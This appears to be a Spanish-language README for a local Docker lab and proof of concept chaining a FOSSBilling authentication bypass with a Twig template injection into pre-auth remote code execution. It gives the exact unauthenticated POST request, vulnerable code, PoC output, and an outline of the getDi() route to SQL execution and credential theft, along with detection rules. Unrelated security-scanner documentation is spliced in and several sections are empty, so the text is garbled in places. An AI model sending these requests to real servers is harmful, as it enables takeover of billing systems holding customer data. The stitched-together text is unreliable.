FOSSBilling es una plataforma de facturación y gestión de clientes gratuita y de código abierto. Las versiones 0.5.4 a 0.7.2 están afectadas. FOSSBilling 0.8.0 corrige ambas vulnerabilidades.

Este laboratorio compara dos versiones de FOSSBilling:

La cadena validada en este laboratorio local es:```text Unauthenticated HTTP POST → /api/system/system/string_render → Role "system" resolves to cron admin identity (CVE-2026-27604) → _tpl={{ 7*7 }} passed into unsandboxed Twig rendering (CVE-2026-28496) → Server evaluates the template expression → Returns {"result":"49","error":null}

El laboratorio está intencionalmente limitado a servicios Docker locales. No ataca sistemas externos y no incluye web shells, malware, persistencia, callbacks externos, volcado de bases de datos ni payloads destructivos.

La Cadena

El RCE Pre-Auth requiere que ambas vulnerabilidades trabajen en conjunto:```text ┌──────────────────────────────────────────────────────────────┐ │ STEP 1: Auth Bypass (CVE-2026-27604) │ │ │ │ URL path: /api/system/system/string_render │ │ Role "system" → cron admin identity │ │ Exception instantiated but never thrown │ │ → Unauthenticated caller gets admin API access │ ├──────────────────────────────────────────────────────────────┤ │ STEP 2: SSTI (CVE-2026-28496) │ │ │ │ Admin API method: System\Api\Admin::string_render() │ │ _tpl parameter → Twig createTemplate() → render() │ │ No sandbox enforcement │ │ → Server-side template evaluation │ ├──────────────────────────────────────────────────────────────┤ │ COMBINED: Pre-Auth RCE │ │ │ │ One unauthenticated HTTP POST │ │ → Admin access (auth bypass) │ │ → Template injection (SSTI) │ │ → getDi() exposes Pimple DI container │ │ → PDO, cache, extension manager, 40+ services reachable │ │ → Remote Code Execution │ └──────────────────────────────────────────────────────────────┘

El verificador de roles valida si el rol solicitado está permitido. Sin embargo, en las versiones vulnerables, la excepción para roles no permitidos es instanciada pero nunca lanzada:```php // Simplified vulnerable pattern if (!in_array($role, $allowed_roles)) { new \Exception("Role not allowed"); // BUG: missing "throw" }

El rol system se asigna a la identidad de administrador de cron interna, que tiene privilegios administrativos completos.

CVE-2026-28496: SSTI

El método de la API de administración string_render recibe _tpl de los datos de la solicitud y lo pasa al pipeline de renderizado de plantillas Twig sin aplicar el sandbox:```php public function string_render($data) { if (!isset($data['_tpl'])) { error_log('_tpl parameter not passed'); return ''; }

}

El problema crítico: createTemplate($tpl) crea una plantilla Twig a partir de la cadena controlada por el atacante y la renderiza sin restricciones de sandbox. La plantilla tiene acceso a los objetos en el contexto de la plantilla, incluido el manejador de la API de invitado que expone getDi().

Cadena combinada```text

Input: POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}

Step 1 (CVE-2026-27604): URL path → role = "system" → role checker: exception instantiated, NOT thrown → system role → cron admin identity → admin API access granted without authentication

Step 2 (CVE-2026-28496): Admin::string_render() → reads _tpl from request → Service::renderString() → createTemplateFromString() → Twig createTemplate("{{ 7*7 }}") → Twig evaluates the expression → returns "49"

Full RCE path (not demonstrated in this safe PoC): {{ guest.getDi() }} → returns the Pimple DI container → PDO, cache, password hashing, extension manager, 40+ services → SQL execution, credential extraction, code execution

La política de sandbox bloquea el acceso a métodos y propiedades por defecto:```php $methods = []; $properties = [];

Una comprobación de regresión a nivel de código fuente confirma la corrección más profunda:```text FOSSBilling 0.7.2: {{ guest.getDi() }} → DI_VISIBLE FOSSBilling 0.8.0: {{ guest.getDi() }} → blocked by Twig sandbox policy

Servicios expuestos por defecto:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082

Comprobar el estado del servicio:```bash docker compose ps -a

Servicios del instalador completados esperados (código de salida 0):```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)

Ejecute la validación de la cadena contra el objetivo vulnerable:```bash python3 poc/poc.py --url http://localhost:8081

Uso del PoC```bash

python3 poc/poc.py --url <target_url>

El PoC valida ambas CVE en tres etapas:

Etapa 1 — Omisión de autenticación (CVE-2026-27604): Compara la ruta de la API de invitado con la ruta de la API del sistema para demostrar el acceso de administrador sin autenticación.```text [1a] POST /api/guest/system/string_render → denied (guest role) [1b] POST /api/system/system/string_render → admin result (system role, no auth)

Etapa 3 — Evaluación de la cadena: Resume el resultado combinado de la cadena.

El PoC es solo HTTP. No llama a Docker, Docker Compose, comandos de shell ni API de contenedores.

Resultados esperados

Objetivo vulnerable (FOSSBilling 0.7.2)```bash

python3 poc/poc.py --url http://localhost:8081

Requisitos

• Python 3.8 o superior
• pip (gestor de paquetes de Python)
• Acceso a red al objetivo

Instalación

Uso

Descargo de responsabilidad

Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas y fines educativos. Los usuarios son responsables de cumplir con todas las leyes y regulaciones aplicables. Los autores no asumen ninguna responsabilidad por el uso indebido o los daños causados por este software.

Licencia

Este proyecto está licenciado bajo la Licencia MIT: consulta el archivo LICENSE para más detalles.```text

CVE-2026-27604 + CVE-2026-28496 Chain Validation PoC FOSSBilling Pre-Auth RCE: Auth Bypass + Twig SSTI

Scope: authorized local lab target only Target: http://localhost:8081

============================================================ STAGE 1: Auth Bypass (CVE-2026-27604)

[1a] Guest role: POST /api/guest/system/string_render status=400 error={'message': '...', 'code': ...} → Denied (expected — guest has no admin access)

[1b] System role (bypass): POST /api/system/system/string_render status=200 result=49 → Admin method returned result WITHOUT authentication

VERDICT: VULNERABLE — /api/guest/ denied, /api/system/ bypasses auth CVE-2026-27604 CONFIRMED

============================================================ STAGE 2: SSTI (CVE-2026-28496)

[2] POST /api/system/system/string_render body={"_tpl": "{{ 7*7 }}"} status=200 response={"result":"49","error":null}

VERDICT: VULNERABLE — server evaluated {{ 7*7 }} → 49 CVE-2026-28496 CONFIRMED

============================================================ STAGE 3: Chain Assessment

CVE-2026-27604 Auth Bypass CVSS v4: 10.0 CONFIRMED CVE-2026-28496 SSTI CVSS v4: 9.4 CONFIRMED

CHAIN RESULT: Pre-Auth RCE path CONFIRMED

| --config | Ruta al archivo de configuración (por defecto: config.yaml) | | --output | Directorio de salida para los resultados del análisis | | --verbose | Habilitar registro detallado | | --quiet | Suprimir toda la salida excepto los errores | | --format | Formato de salida: json, yaml, table (por defecto: table) | | --no-color | Deshabilitar la salida en color |

Ejemplos

Configuración

El archivo config.yaml controla el comportamiento del escáner:

Módulos

Módulo de encabezados

Comprueba los encabezados de seguridad HTTP que faltan o están mal configurados:

• Strict-Transport-Security
• Content-Security-Policy
• X-Frame-Options
• X-Content-Type-Options
• Referrer-Policy
• Permissions-Policy

Módulo SSL

Verifica la configuración de TLS/SSL:

• Fechas de caducidad del certificado
• Versiones de protocolo TLS obsoletas
• Conjuntos de cifrado débiles
• Problemas en la cadena de certificados

Módulo CORS

Detecta configuraciones CORS inseguras:

• Orígenes comodín con credenciales
• Reflejo de origen
• Encabezados de origen mal configurados

Módulo de cookies

Analiza las cookies en busca de indicadores de seguridad:

• Falta el flag Secure

• Falta el flag HttpOnly

• Falta el atributo SameSite

• Cookies con caducidad excesiva```text CVE-2026-27604 Auth Bypass CVSS v4: 10.0 NOT PRESENT CVE-2026-28496 SSTI CVSS v4: 9.4 NOT PRESENT

  CHAIN RESULT: PATCHED — neither vulnerability is present Target appears to be FOSSBilling >= 0.8.0

Ruta del sistema (omite la autenticación):```bash curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'

Comparación de parches```bash

curl -i -X POST
'http://127.0.0.1:8082/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'

Impacto

La cadena permite la ejecución remota de código no autenticada contra FOSSBilling, una plataforma de facturación y gestión de clientes que puede almacenar:

• Registros de clientes y datos personales
• Datos de facturación y configuración de pagos
• Credenciales de servidor y tokens de API
• Cuentas de administrador y sesiones

El payload de laboratorio demostrado es inofensivo ({{ 7*7 }}). La cadena de impacto en el mundo real a través de getDi() y el contenedor DI incluye:

• Ejecución de SQL mediante PDO (extracción de credenciales, exfiltración de datos)
• Acceso a más de 40 servicios de la aplicación
• Acceso al gestor de extensiones (ejecución de código)
• Modificación del estado de la aplicación
• Compromiso total del servidor cuando se encadena con rutas de escritura de archivos o ejecución de comandos

Un único HTTP POST no autenticado es suficiente para alcanzar el contenedor DI. Este PoC no demuestra esa ruta.

Detección y Monitoreo

Patrones de solicitudes sospechosas:```text POST /api/system/system/string_render POST /api/system/* (any admin method via system role)

Reglas de detección de alta señal:```text Rule 1: POST to /api/system/ from unauthenticated source Rule 2: POST to /api/system/system/string_render with _tpl containing {{ }} Rule 3: Response contains "result" with rendered template output

Limpieza```bash

Stop containers

docker compose down --remove-orphans

Stop containers and remove volumes

docker compose down -v --remove-orphans

Remove evidence files

rm -rf evidence/

El laboratorio no demuestra:

• Ejecución remota de comandos mediante getDi()
• Extracción de credenciales mediante PDO
• Volcado de base de datos
• Instalación de extensiones
• Carga de web shell
• Persistencia o movimiento lateral
• Callbacks externos
• Ataques contra sistemas fuera del laboratorio

Referencias

• CVE-2026-27604 — FOSSBilling Auth Bypass https://www.cve.org/CVERecord?id=CVE-2026-27604

• CVE-2026-28496 — FOSSBilling SSTI https://www.cve.org/CVERecord?id=CVE-2026-28496

• GHSA-78x5-c8gw-8279 — Auth Bypass Advisory https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279

• GHSA-57mv-jm88-66jc — SSTI Advisory https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc

• NVD — CVE-2026-27604 https://nvd.nist.gov/vuln/detail/CVE-2026-27604

• NVD — CVE-2026-28496 https://nvd.nist.gov/vuln/detail/CVE-2026-28496

• VulnCheck — FOSSBilling Auth Bypass and Twig SSTI to Unauthenticated RCE https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce

• FOSSBilling GitHub Repository https://github.com/FOSSBilling/FOSSBilling

• FOSSBilling Docker Image https://hub.docker.com/r/fossbilling/fossbilling

• Twig Documentation — Sandbox Extension https://twig.symfony.com/doc/3.x/sandbox.html